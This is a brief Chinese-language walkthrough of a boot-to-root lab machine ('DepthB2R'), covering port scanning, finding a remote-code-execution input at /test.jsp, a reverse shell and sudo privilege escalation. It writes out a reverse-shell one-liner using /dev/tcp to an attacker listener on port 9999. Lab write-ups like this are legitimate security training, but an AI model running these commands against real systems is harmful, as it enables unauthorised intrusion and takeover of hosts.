DepthB2R靶机

vmware打开 查看MAC地址

端口扫描

靶机ip地址为192.168.153.134

查看开放端口

nmap -p- -A 192.168.153.134

目录扫描

拼接访问 /test.jsp

发现一个输入框

经过尝试 发现存在rce漏洞

查看 /home下的用户 发现有bill用户

尝试进行反弹shell

ssh bill@localhost bash -i >& /dev/tcp/192.168.153.133/9999 0>&1

发现失败，感觉像是ssh服务被关闭

尝试关闭防火墙

kali监听9999端口 再次反弹shell

尝试sudo提权

sudo -l

sudo su